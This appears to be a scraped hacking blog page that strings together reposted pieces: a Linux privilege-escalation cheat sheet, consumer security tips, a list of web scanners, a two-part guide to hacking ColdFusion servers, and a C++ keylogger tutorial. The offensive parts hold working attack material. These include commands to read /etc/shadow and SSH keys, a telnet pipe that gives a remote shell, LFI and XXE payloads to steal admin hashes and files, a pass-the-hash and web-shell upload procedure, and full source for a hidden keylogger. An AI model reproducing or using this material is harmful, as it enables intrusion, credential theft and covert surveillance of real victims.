Basic Linux Privilege Escalation [for furthur exploiting]

Basic Linux Privilege Escalation
=============================
Before starting, I would like to point out – I’m no expert. As far as I know, there isn’t a “magic” answer, in this huge area. This is simply my finding, typed up, to be shared (my starting point). Below is a mixture of commands to do the same thing, to look at things in a different place or just a different light. I know there more “things” to look for. It’s just a basic & rough guide. Not every command will work for each system as Linux varies so much. “It” will not jump off the screen – you’ve to hunt for that “little thing” as “the devil is in the detail”.

Enumeration is the key.
(Linux) privilege escalation is all about:

Collect – Enumeration, more enumeration and some more enumeration.
Process – Sort through data, analyse and prioritisation.
Search – Know what to search for and where to find the exploit code.
Adapt – Customize the exploit, so it fits. Not every exploit work for every system “out of the box”.
Try – Get ready for (lots of) trial and error.

Operating System
What’s the distribution type? What version?
cat /etc/issue
cat /etc/*-release
cat /etc/lsb-release
cat /etc/redhat-release

What’s the Kernel version? Is it 64-bit?
cat /proc/version
uname -a
uname -mrs
rpm -q kernel
dmesg | grep Linux
ls /boot | grep vmlinuz-

What can be learnt from the environmental variables?
cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
env
set

Is there a printer?
lpstat -a

Applications & Services
What services are running? Which service has which user privilege?
ps aux
ps -ef
top

cat /etc/service

Which service(s) are been running by root? Of these services, which are vulnerable – it’s worth a double check!
ps aux | grep root
ps -ef | grep root

What applications are installed? What version are they? Are they currently running?
ls -alh /usr/bin/
ls -alh /sbin/
dpkg -l
rpm -qa
ls -alh /var/cache/apt/archivesO
ls -alh /var/cache/yum/

Any of the service(s) settings misconfigured? Are any (vulnerable) plugins attached?
cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf
cat /etc/inetd.conf
cat /etc/apache2/apache2.conf
cat /etc/my.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf
ls -aRl /etc/ | awk ‘$1 ~ /^.*r.*/

What jobs are scheduled?
crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root

Any plain text usernames and/or passwords?
grep -i user [filename]
grep -i pass [filename]
grep -C 5 “password” [filename]
find . -name “*.php” -print0 | xargs -0 grep -i -n “var $password” # Joomla

Communications & Networking
What NIC(s) does the system have? Is it connected to another network?
/sbin/ifconfig -a
cat /etc/network/interfaces
cat /etc/sysconfig/network

What are the network configuration settings? What can you find out about this network? DHCP server? DNS server? Gateway?
cat /etc/resolv.conf
cat /etc/sysconfig/network
cat /etc/networks
iptables -L
hostname
dnsdomainname

What other users & hosts are communicating with the system?
lsof -i
lsof -i :80
grep 80 /etc/services
netstat -antup
netstat -antpx
netstat -tulpn
chkconfig –list
chkconfig –list | grep 3:on
last
w

Whats cached? IP and/or MAC addresses
arp -e
route
/sbin/route -nee

Is packet sniffing possible? What can be seen? Listen to live traffic
# tcpdump tcp dst [ip] [port] and tcp dst [ip] [port]
tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.2.2.222 21

Have you got a shell? Can you interact with the system?
# http://lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/
nc -lvp 4444 # Attacker. Input (Commands)
nc -lvp 4445 # Attacker. Ouput (Results)
telnet [atackers ip] 44444 | /bin/sh | [local ip] 44445 # On the targets system. Use the attackers IP!

Is port forwarding possible? Redirect and interact with traffic from another view
# rinetd
# http://www.howtoforge.com/port-forwarding-with-rinetd-on-debian-etch

# fpipe
# FPipe.exe -l [local port] -r [remote port] -s [local port] [local IP]
FPipe.exe -l 80 -r 80 -s 80 192.168.1.7

# ssh -[L/R] [local port]:[remote ip]:[remote port] [local user]@[local ip]
ssh -L 8080:127.0.0.1:80 root@192.168.1.7 # Local Port
ssh -R 8080:127.0.0.1:80 root@192.168.1.7 # Remote Port

# mknod backpipe p ; nc -l -p [remote port] < backpipe | nc [local IP] [local port] >backpipe
mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.1.1.251 80 >backpipe # Port Relay
mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe # Proxy (Port 80 to 8080)
mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow & 1>backpipe # Proxy monitor (Port 80 to 8080)

Is tunnelling possible? Send commands locally, remotely
ssh -D 127.0.0.1:9050 -N [username]@[ip]
proxychains ifconfig

Confidential Information & Users
Who are you? Who is logged in? Who has been logged in? Who else is there? Who can do what?
id
who
w
last
cat /etc/passwd | cut -d: # List of users
grep -v -E “^#” /etc/passwd | awk -F: ‘$3 == 0 { print $1}’ # List of super users
awk -F: ‘($3 == “0″) {print}’ /etc/passwd # List of super users
cat /etc/sudoers
sudo -l

What sensitive files can be found?
cat /etc/passwd
cat /etc/group
cat /etc/shadow
ls -alh /var/mail/

Anything “interesting” in the home directorie(s)? If it’s possible to access
ls -ahlR /root/
ls -ahlR /home/

Are there any passwords in; scripts, databases, configuration files or log files? Default paths and locations for passwords
cat /var/apache2/config.inc
cat /var/lib/mysql/mysql/user.MYD
cat /root/anaconda-ks.cfg

What has the user being doing? Is there any password in plain text? What have they been edting?
cat ~/.bash_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history
cat ~/.php_history

What user information can be found?
cat ~/.bashrc
cat ~/.profile
cat /var/mail/root
cat /var/spool/mail/root

Can private-key information be found?
cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_host_dsa_key.pub
cat /etc/ssh/ssh_host_dsa_key
cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key
cat /etc/ssh/ssh_host_key.pub
cat /etc/ssh/ssh_host_key

File Systems
Which configuration files can be written in /etc/? Able to reconfigure a service?
ls -aRl /etc/ | awk ‘$1 ~ /^.*w.*/’ 2>/dev/null # Anyone
ls -aRl /etc/ | awk ‘$1 ~ /^..w/’ 2>/dev/null # Owner
ls -aRl /etc/ | awk ‘$1 ~ /^…..w/’ 2>/dev/null # Group
ls -aRl /etc/ | awk ‘$1 ~ /w.$/’ 2>/dev/null # Other

find /etc/ -readable -type f 2>/dev/null # Anyone
find /etc/ -readable -type f -maxdepth 1 2>/dev/null # Anyone

What can be found in /var/ ?
ls -alh /var/log
ls -alh /var/mail
ls -alh /var/spool
ls -alh /var/spool/lpd
ls -alh /var/lib/pgsql
ls -alh /var/lib/mysql

cat /var/lib/dhcp3/dhclient.leases

Any settings/files (hidden) on website? Any settings file with database information?
ls -alhR /var/www/
ls -alhR /srv/www/htdocs/
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/
ls -alhR /var/www/html/

Is there anything in the log file(s) (Could help with “Local File Includes”!)
# http://www.thegeekstuff.com/2011/08/linux-var-log-files/
cat /etc/httpd/logs/access_log
cat /etc/httpd/logs/access.log
cat /etc/httpd/logs/error_log
cat /etc/httpd/logs/error.log
cat /var/log/apache2/access_log
cat /var/log/apache2/access.log
cat /var/log/apache2/error_log
cat /var/log/apache2/error.log
cat /var/log/apache/access_log
cat /var/log/apache/access.log
cat /var/log/auth.log
cat /var/log/chttp.log
cat /var/log/cups/error_log
cat /var/log/dpkg.log
cat /var/log/faillog
cat /var/log/httpd/access_log
cat /var/log/httpd/access.log
cat /var/log/httpd/error_log
cat /var/log/httpd/error.log
cat /var/log/lastlog
cat /var/log/lighttpd/access.log
cat /var/log/lighttpd/error.log
cat /var/log/lighttpd/lighttpd.access.log
cat /var/log/lighttpd/lighttpd.error.log
cat /var/log/messages
cat /var/log/secure
cat /var/log/syslog
cat /var/log/wtmp
cat /var/log/xferlog
cat /var/log/yum.log
cat /var/run/utmp
cat /var/webmin/miniserv.log
cat /var/www/logs/access_log
cat /var/www/logs/access.log
ls -alh /var/lib/dhcp3/
ls -alh /var/log/postgresql/
ls -alh /var/log/proftpd/
ls -alh /var/log/samba/
# auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtmp

If commands are limited, you break out of the “jail” shell?
python -c ‘import pty;pty.spawn(“/bin/bash”)’
echo os.system(‘/bin/bash’)
/bin/sh -i

How are file-systems mounted?
mount
df -h

Are there any unmounted file-systems?
cat /etc/fstab

What “Advanced Linux File Permissions” are used? Sticky bits, SUID & GUID
find / -perm -1000 -type d 2>/dev/null # Sticky bit – Only the owner of the directory or the owner of a file can delete or rename here
find / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000) – run as the group, not the user who started it.
find / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000) – run as the owner, not the user who started it.

find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUID
for i in `locate -r “bin$”`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done # Looks in ‘common’ places: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID (Quicker search)

# find starting at root (/), SGID or SUID, not Symbolic links, only 3 folders deep, list with more detail and hide any errors (e.g. permission denied)
find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null

Where can written to and executed from? A few ‘common’ places: /tmp, /var/tmp, /dev/shm
find / -writable -type d 2>/dev/null # world-writeable folders
find / -perm -222 -type d 2>/dev/null # world-writeable folders
find / -perm -o+w -type d 2>/dev/null # world-writeable folders

find / -perm -o+x -type d 2>/dev/null # world-executable folders

find / \( -perm -o+w -perm -o+x \) -type d 2>/dev/null # world-writeable & executable folders

Any “problem” files? Word-writeable, “nobody” files
find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print # world-writeable files
find /dir -xdev \( -nouser -o -nogroup \) -print # Noowner files

Preparation & Finding Exploit Code

What development tools/languages are installed/supported?
find / -name perl*
find / -name python*
find / -name gcc*
find / -name cc

How can files be uploaded?
find / -name wget
find / -name nc*
find / -name netcat*
find / -name tftp*
find / -name ftp

//Share From GOT MILK

Cyber Security

Please follow the instruction:

Cyber crime is here to stay. The PC revolution and the Internet boom in India have introduced new elements to cyber crime: elements that make cyber crime one of the most dangerous issues facing the modern society.

Children and innocent netizens are now being subjected to an unprecedented barrage of innovative cyber attacks: for instance, a rising number of phishing' attacks have emerged as a new, big threat of cyber security. 
According to the Anti-Phishing Working Group statistics, 
approximately 5 per cent users fall prey to phishing scams. Spam, viruses, worms and other malicious code account for global losses of several billion dollars. 
So how do you protect yourself from these attacks? 
Well, one obvious thing would be to receive a CISSP certification with an IT trainer such as InfoSec Institute. 
Here are 10 simple steps to cover you against more than 80 per cent of all the causes of information security breaches:

Install the latest antivirus software on your computer and never ever turn it off; install a personal firewall and spyware checker (all are available for free on the Net). To find them just do a search on the Net using the keywords: antivirus & free.

 
Never download or open attachments whose source you are not certain about. Even if the source is trusted, see if the content is relevant. If not, don't open attachment. Create another email ID which you use exclusively for subscription to sites. That will prevent spam from coming to your main ID. Some mail accounts allow you to create topic-specific email IDs that you can delink.

 
Avoid checking mail or using credit card details online in cyber cafes. It is next to impossible to be sure that it is safe. Even reputed cafe's such as those at international airports and 5-star hotels have known to be key-logged. As a matter of fact, open an additional debit card with a limit if you do want to transact online. This way, in the worst case scenario your damages are limited.

Do not give away your residence phone number or cellphone number. Be especially careful when you are filling in contest forms, coupons, free gift vouchers, etc. More often than not these are gimmicks to obtain your personal details. Don't believe it when they say the data will not be given to others -- it most certainly will be. Don't print these numbers on your visiting card.

 
Get into the habit of destroying documentation regarding credit cards, such as receipts, bills, invoices or any documents that contain personal details.

 
If you are using broadband or working from home, ensure that your PC is hardened professionally. This can also be done by yourself if you follow the next step.

 
Information is a reality of modern life: just like health or transport or communications. The point is that you need to know something about it, even if it's just some basics. Read about information security breaches by subscribing to some newsletters. In the case of many breaches, the only defense is knowledge. For instance, no technology could have prevented the phishing attack (wherein victims got mails seemingly from legitimate banks asking them to confirm their passwords and IDs).

 
Use two different passwords. One for mail, work and other important access and the other for routine proposes such as subscribing to sites, etc. But remember to switch between them when you start doing transactions after mere browsing.

 
Create a difficult-to-guess password by taking the first alphabet from each word of a phrase. For instance a password like 1at*eomc is constructed using a phrase "I am the star employee of my company."

 
Educate your children about the dangers of cyber crime. Children with their unbound curiosity and unmonitored access are the single most common victims of cyber crime apart from the enterprises. Ensure hat the home PC is kept in a common place so that you can monitor what is going on.
 

source : http://faq.programmerworld.net 

Top 6 Web Vulnerability Scanner Tool

Web site security is very important because the website contain relevant information about a company and now a days website defacement is very common even a script kiddies and a new born hackers can do this. The most common vulnerability like SQL-Injection and cross site scripting lead towards the defacement. 

So you want to secure your web application than find vulnerabilities on it before a hacker find it, try to use some relevant tools and find vulnerabilities and fix it. There are so many tools available for both Windows and Linux platform and commercial and open source tool. Below is the best web vulnerability scanner tool that we have discussed before.

OWASP Zed Attack Proxy- ZAP

OWASP or Open Web Application Security Project is a non profit organisation world wide that are focusing on improving the security of web application, for more about OWASP click here.The Zed Attack Proxy (ZAP) is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It has an automatic scanning functionality and it has a set of tools that allow you to find vulnerability manually.

Web Application Attack and Audit Framework (W3AF)

W3af is a Web Application Attack and Audit Framework. The project goal is to create a framework to find and exploit web application vulnerabilities that is easy to use and extend. w3af is working for Become the best Open Source Web Application Exploitation Framework. It is available on Backtrack 5 too.

Skipfish Web Vulnerability Scanner Tool

Skipfish is an automatic web application security tool, that has been designed to find the vulnerabilities on a web application, find vulnerability on your website before than a hacker find and exploit it. It is also available on Backtrack 5.

Nikto-Vulnerability Scanner

Nikto is one of the best open source web vulnerability scanner tool that is available on the famous Linux distribution like Backtrack, Gnacktrack,Backbox and others. You can use it on other distribution and on windows too because it is only need perl script.

Netsparker Web Application Security Scanner

Netsparker is a commercial tool that has been designed to find the vulnerabilities on web application, the free version of netparker is also available so you can download it and can use for a quick penetration testing on a web application.

Websecurify- Website Security Testing Tool

Websecurify is a cross operating system tool that can be run on Windows, Linux and MAC. It is the best tool to find the common web vulnerabilities that can cause a great harm to the web application.

This is just a small list of the best tools you can use Wapiti, Grendel scan and other tools to perform the job, you have any other tool in mind than do share it with us via comment box.

source : www.ehacking.net 

Hacking Cold Fusion Servers - Part II

Now I will go over two more additional vulnerabilities which can be potentially leveraged to attack Cold Fusion Servers. This time we will be looking at exploiting a weak uploader as well as another LFD/LFI vulnerability but with small twist. If you didn't catch the first part then I encourage you to read that thread before reading this one as it makes for better attack flow in general this way. Assuming your all set, let's begin....

Now one thing to be aware of is that Cold Fusion packed an FCKEditor in with v8 when it was first released and they didn't due proper checking on the upload types. If you give it a file as .txt but write to .cfm or .jsp it thinks this is ok! This exploit will take some coding abilities on your behalf or the ability to use Metasploit as it has a nice pre-built exploit for this one (Java Meterpreter works best for payload). You basically shoot and point with MSF and hope for the best. If the uploader is present it will try to send a multi-part upload request via POST. If successful you should be able to find a shell in '/userfiles/file/' directory of the site. Now I have coded my own script for this and tried with Metasploit but have not successfully exploited this myself so not going to post my code just yet, would like to confirm it first. You have MSF as a crutch for now, can find the module by referencing CVE-2009-2265, or just type 'use exploit/windows/http/coldfusion_fckeditor'; I will update this section when I have confirmation of working code on my part.....

 OK, so in addition to the previously shown LFD/LFI to RCE vulneranility we demonstrated in part I of this series, there is another LFD/LFI vulnerability. This time it is XML External Entities (XEE) Injection in the Data Services which allows a wide range of XML based attacks, including Local File Disclosure, TCP scans and Denial of Service condition, which can be achieved by recursive entity injection, attribute blow up and other types of injection. For more information about the implications associated to this vulnerability, refer to the RFC2518 (17.7 Implications of XML External Entities): http://www.ietf.org/rfc/rfc2518.txt. I will show you how we can exploit this to map out the target server and read files. Basically we send a carefully crafted XML request to the Data Service file handler and if it is vulnerable to XEE Injection it will spit back the results we ask for. Here are some common files to check:

• /flex2gateway/
• /flex2gateway/http
• /flex2gateway/httpsecure
• /flex2gateway/cfamfpolling
• /flex2gateway/amf
• /flex2gateway/amfpolling
• /messagebroker/http
• /messagebroker/httpsecure
• /blazeds/messagebroker/http
• /blazeds/messagebroker/httpsecure
• /samples/messagebroker/http
• /samples/messagebroker/httpsecure
• /lcds/messagebroker/http
• /lcds/messagebroker/httpsecure
• /lcds-samples/messagebroker/http
• /lcds-samples/messagebroker/httpsecure

You can accomplish this with Hackbar add-on in Firefox easily enough, Burp or Netcat is just as easy. Essentially we can use the below XML Code as a framework for our file injection and enumeration, simply pass it as POST data to the vulnerable Data Service:

"<?xml version="1.0" encoding="utf-8"?><!DOCTYPE test [ <!ENTITY x3SYSTEM "<INSERT_PATH/FILE_HERE>"> ]><amfx ver="3" xmlns="http://www.macromedia.com/2005/amfx"><body><object type="flex.messaging.messages.CommandMessage"><traits><string>body</string><string>clientId</string><string>correlationId</string><string>destination</string><string>headers</string><string>messageId</string><string>operation</string><string>timestamp</string><string>timeToLive</string></traits><object><traits /></object><null /><string /><string /><object><traits><string>DSId</string><string>DSMessagingVersion</string></traits><string>nil</string><int>1</int></object><string>&x3;</string><int>5</int><int>0</int><int>0</int></object></body></amfx>"

Simply replace '<INSERT_PATH/FILE_HERE>' with the path to read an let the requests rip, like so:

Now the cool thing here is that it works regardless of OS, since it is due to how the Data Services are handling and parsing the XML data being passed, just make sure you request the proper file type for designated system type (check server response if you have no idea)...

Also in addition to reading files, you can simply pass a directory and it will spit back the directory content, making it very easy to map things out and find files worth reading. Now limited privileges may restrict some file reading but still plenty enough to cause trouble, enumerate lots of info, and possibly even read the site configuration details...

In addition to these named exploits in this Cold Fusion series, the same old usual suspects are still fair game here. SQL injection vulnerabilities just as common as on PHP or ASP based sites, and 'cfincludes' can enable source disclosures. In many cases the db can be compromised and Java commands maybe leveraged to further extend the potential attack vectors and escalation platform from that of a standard injection so keep your eyes out and don’t be afraid to take on a new site just cause it has .CFM or .JSP files instead of the oh so popular .PHP or .ASP. Hope you enjoyed this short series on hacking Cold Fusion Servers. All material for the series was available on the net in various places, all I did was wrap it up for you and try to make it a little easier to understand. If you have any questions or suggestions please post em here or let me know via PM.

Until next time, Enjoy!

source :  http://kaoticcreations.blogspot.com

Hacking Cold Fusion Servers - Part I

Today I will go over part I of a few tricks we can use to attack Cold Fusion Servers of various versions using a few published methods. Cold Fusion is an Adobe product targeted at Enterprise and Small Business owners. Probably most commonly known for and associated with CFML or Cold Fusion Markup Language, most visually associated with .cfm files on web servers. CF platforms are built on a Java core and as such it also has some built in features which also allow command execution and database interaction. The following should present you with a few methods you can use to check for common vulnerabilities on these platforms, as well as how to exploit them. Most of these were published ages ago in 2010 but there are still many sites which are either running versions which are un-patchable or just simply running  unpatched software still....

I will start this series off with the most common vulnerability first, which is the known Local File Disclosure, or LFI, in the 'locale' parameter (also referenced under: CVE-2010-2861). The LFI vulnerability allows us to read files off of the target system, without any authentication. The neat thing that makes this one different than most LFD is that if we play our cards right we can use this vulnerability as a foothold to further penetrate our target, read and see. We first try to find the admin page, as it is the most commonly vulnerable page, but certainly not the only one. You can typically find it at one of the following locations:

• /CFIDE/administrator/index.cfm
• /CFIDE/administrator/enter.cfm
• /CFIDE/componentutils/index.cfm
• /CFIDE/componentutils/login.cfm

You can determine the version of the CF Server by simply viewing the login page in most cases as the image usually contains the version graphically, like so:

Knowing the version is important as it helps us to determine the appropriate path to use to try and turn this LFD into something useful. Now if you know the full path to the CF '.properties' file then you're in business as it contains the CF admin password hashes. The list of possible paths worth trying are as follows:

• v6: locale=..\..\..\..\..\..\..\..\CFusionMX\lib\password.propertiesen
• v7a: locale=..\..\..\..\..\..\..\..\CFusionMX7\lib\password.propertiesen
• v7b: locale=..\..\..\..\..\..\..\..\opt\coldfusionmx7\lib\password.propertiesen
• v8: locale=..\..\..\..\..\..\..\..\ColdFusion8\lib\password.propertiesen
• vJRun: locale=..\..\..\..\..\..\..\..\..\..\JRun4\servers\cfusion\cfusion-ear\cfusion-war\WEB-INF\cfusion\lib\password.propertiesen

If you have a successful injection for one of the above files, you will see the password hash(es) show up on the page you're injecting into. It will look a bit like this:

NOTE: In version 6 & 7 encryption is not enabled by default, although i never seen a server which did not encrypt the password in hash form.

Now you can crack the password hash and login with clear text pass or we can use a little trick to bypass authentication requirements by using a pass-the-hash technique. The login form uses a bit of JavaScript magic to actually create a HMAC hash from the admin password hash and a salt value which is changed every 30 seconds. You can find this salt value by simply viewing the source code for login page, look at second occurrence of the term 'salt' or review form input details. Due to this, we pass the hash and generate the HMAC hash on our own and submit - simulating a successful login! You need to grab the salt from source:

 OK, so you now have Password hash and salt in hand....

Here is some code I whipped up to accomplish this task of logging in real quick for you to get the authenticated cookie.

Quickly enter the needed details and run it. If successful, you will have the authenticated cookie presented to you in terminal, like so:

Now once you have the authenticated cookie, you're pretty much in. You can use your favorite cookie editor to load up the new 'CFAUTHORIZATION_cfadmin=<SOMEVALUEHEREONSUCCESS>'. Once loaded you simply refresh your browser and your now logged into the administrative panel for Cold Fusion. Now to try and get a shell up on the server....

If you already know the server path to web facing directory then you can move forward, if not you can check the 'Mappings' link on the left under 'Server Settings'. This will show a mapping of all paths for CF, by default the /CFIDE dir should be mapped giving us a usable path in the majority of cases. Mappings page looks like this:

Once path is known we will move to the 'Schedule Tasks' page located under 'Debugging & Logging' on left menu links.

Now you simply point the task scheduler at your remote CFM/JSP shell hosted on a server you control, stored in txt format like an RFI attack payload. You can schedule for a onetime event, it will default to current time so no need to calculate things if your on different time zone :) If you need a username/password to access the remote shell file source then provide as needed in appropriate fields of task scheduler. The next is key, mark the option to 'Publish" to true so it saves the results to a file (i.e. grab our remote shell source, and save to executable). You then provide it with the full path to where you want to write to. In the majority of cases /CFIDE is writable, otherwise poke around or generate errors in SQL queries on site to get path (standard Full Path Disclosure rules still apply here). When you form is all setup you can submit to create the scheduled task.

You will need to click on the green check-mark icon to run the scheduled task, which actually executes it and grabs our shell. If it has problems with remote file you will likely get a warning message of some kind in admin panel, edit and retry. Upon success, you can point your browser at the path you uploaded your shell to. In most cases Cold Fusion is running on Windows system with full NT AUTHORITY/SYSTEM privileges which means you pretty much own the local box now :)

If you find that 'cfexecute' is disabled and blocking your CFM shell from working properly, you can simply re-enable it from the admin panel since you already have access :)

NOTE: JSP is only supported on Enterprise versions of ColdFusion. You can actually determine Enterprise vs Standard by requesting a non-existant .jsp file and judging how the server responds!

You have now successfully shelled a Cold Fusion Server at this point and in most cases have admin privileges to do what you want (create new user, add to admin group, add/enable RDP, enjoy new RDP). In the rare *nix instances your likely running as nobody or another non-elevated user so the usual post exploit game plan still applies if you want to takeover the whole server (i.e. root the box). Hope you enjoyed this first part of this series, second part to follow shortly....

Until next time - Enjoy!

source :   http://kaoticcreations.blogspot.com/

Basic Keylogger in C++ [Tutorial]

This tutorial will teach you to create a keylogger in c++ using vs 2008.
It can also be done in dev-c++, codegear c++ builder.
This keylogger wil save a log of the keys that are pressed on your HD.

Note: This tutorial is for educational purpose only.
Only put the keylogger on a computer where you got permission for.
___________________________________________________________

Lets get started.
++++++++++++++++++

First we need to create a new project.
Click on 'File' > 'New' > 'Project'.
Now choose 'Win32 Console Application' and choose for name "Keylogger".


If you get the 'Win32 Application Wizzard' click on 'Next' and then select 'Empty project' under 'Additional options' and click on 'Finish'.

You should have a empty project now.
Now we will add a .cpp file.

Right click on 'Source Files' and take 'Add' > 'New Item'.


Now take 'C++ File(.cpp)' and name it Keylogger.

then click 'Add'.

Now open Keylogger.cpp and Write this in it:

Code:

#include <iostream>    // These we need to
using namespace std;   // include to get our
#include <windows.h>   // Keylogger working.
#include <winuser.h>   //

Now write this:

Code:

int Save (int key_stroke, char *file);
void Stealth(); //Declare Stealth.

Now we need to make a main function.(The main function will be the first that will be executed.)

Code:

int main() 
{
        Stealth(); // This will call the stealth function we will write later.
    char i; //Here we declare 'i' from the type 'char'

    while (1) // Here we say 'while (1)' execute the code. But 1 is always 1 so it will always execute.
    {           // Note this is also the part that will increase your cpu usage
        for(i = 8; i <= 190; i++)
        {
if (GetAsyncKeyState(i) == -32767)
Save (i,"LOG.txt");    // This will send the value of 'i' and "LOG.txt" to our save function we will write later. (The reason why we declared it at the start of the program is because else the main function is above the save function so he wont recognize the save function. Same as with the stealth function.)
        }
    }
    system ("PAUSE"); // Here we say that the system have to wait before exiting.
return 0;
}

Now under the latest code add this to make it look better:

Code:

/* *********************************** */

Under that we will write our keylogger so it will also recognize special keys like the 'spacebar' and stuff. If you want to add some yourself here is a site where you can look up the ascii table. "Guests cannot see links in the messages. Please register to forum by clicking HERE to the see links."

Code:

int Save (int key_stroke, char *file)   // Here we define our save function that we declared before.
{
    if ( (key_stroke == 1) || (key_stroke == 2) )
        return 0;

    FILE *OUTPUT_FILE;
    OUTPUT_FILE = fopen(file, "a+");
   
    cout << key_stroke << endl;

        if (key_stroke == 8)  // The numbers stands for the ascii value of a character
        fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");  // This will print [BACKSPACE] when key 8 is pressed. All the code under this works the same.
        else if (key_stroke == 13)
        fprintf(OUTPUT_FILE, "%s", "\n"); // This will make a newline when the enter key is pressed.
        else if (key_stroke == 32)
        fprintf(OUTPUT_FILE, "%s", " ");
        else if (key_stroke == VK_TAB)              //VK stands for virtual key wich are the keys like Up arrow, down arrow..
        fprintf(OUTPUT_FILE, "%s", "[TAB]");
            else if (key_stroke == VK_SHIFT)
        fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
            else if (key_stroke == VK_CONTROL)
        fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
                else if (key_stroke == VK_ESCAPE)
        fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
                else if (key_stroke == VK_END)
        fprintf(OUTPUT_FILE, "%s", "[END]");
                    else if (key_stroke == VK_HOME)
        fprintf(OUTPUT_FILE, "%s", "[HOME]");
                    else if (key_stroke == VK_LEFT)
        fprintf(OUTPUT_FILE, "%s", "[LEFT]");
                        else if (key_stroke == VK_UP)
        fprintf(OUTPUT_FILE, "%s", "[UP]");
                        else if (key_stroke == VK_RIGHT)
        fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
                            else if (key_stroke == VK_DOWN)
        fprintf(OUTPUT_FILE, "%s", "[DOWN]");
                            else if (key_stroke == 190 || key_stroke == 110)
        fprintf(OUTPUT_FILE, "%s", ".");
                            else
                                fprintf(OUTPUT_FILE, "%s", &key_stroke);

fclose (OUTPUT_FILE);
    return 0;
}

Now we going to add Stealth to it. Under the latest code add again:

Code:

/* *********************************** */

Now write:

Code:

void Stealth()
{
  HWND Stealth;
  AllocConsole();
  Stealth = FindWindowA("ConsoleWindowClass", NULL);
  ShowWindow(Stealth,0);
}

Now, if you've done everything right, your full source code should look like below:

Code:

int Save (int key_stroke, char *file);
void Stealth();

int main()
{
        Stealth();
    char i;

    while (1)
    {
        for(i = 8; i <= 190; i++)
        {
if (GetAsyncKeyState(i) == -32767)
Save (i,"LOG.txt");
        }
    }
    system ("PAUSE");
return 0;
}

/* *********************************** */

int Save (int key_stroke, char *file)
{
    if ( (key_stroke == 1) || (key_stroke == 2) )
        return 0;

    FILE *OUTPUT_FILE;
    OUTPUT_FILE = fopen(file, "a+");

    cout << key_stroke << endl;

        if (key_stroke == 8)
        fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]"); 
        else if (key_stroke == 13)
        fprintf(OUTPUT_FILE, "%s", "\n");
        else if (key_stroke == 32)
        fprintf(OUTPUT_FILE, "%s", " ");
        else if (key_stroke == VK_TAB)             
        fprintf(OUTPUT_FILE, "%s", "[TAB]");
            else if (key_stroke == VK_SHIFT)
        fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
            else if (key_stroke == VK_CONTROL)
        fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
                else if (key_stroke == VK_ESCAPE)
        fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
                else if (key_stroke == VK_END)
        fprintf(OUTPUT_FILE, "%s", "[END]");
                    else if (key_stroke == VK_HOME)
        fprintf(OUTPUT_FILE, "%s", "[HOME]");
                    else if (key_stroke == VK_LEFT)
        fprintf(OUTPUT_FILE, "%s", "[LEFT]");
                        else if (key_stroke == VK_UP)
        fprintf(OUTPUT_FILE, "%s", "[UP]");
                        else if (key_stroke == VK_RIGHT)
        fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
                            else if (key_stroke == VK_DOWN)
        fprintf(OUTPUT_FILE, "%s", "[DOWN]");
                            else if (key_stroke == 190 || key_stroke == 110)
        fprintf(OUTPUT_FILE, "%s", ".");
                            else
                                fprintf(OUTPUT_FILE, "%s", &key_stroke);

fclose (OUTPUT_FILE);
    return 0;
}

/* *********************************** */

void Stealth()
{
  HWND Stealth;
  AllocConsole();
  Stealth = FindWindowA("ConsoleWindowClass", NULL);
  ShowWindow(Stealth,0);
}

So, nice, you wrote your first own keylogger, enjoy.

credit : crazy4cs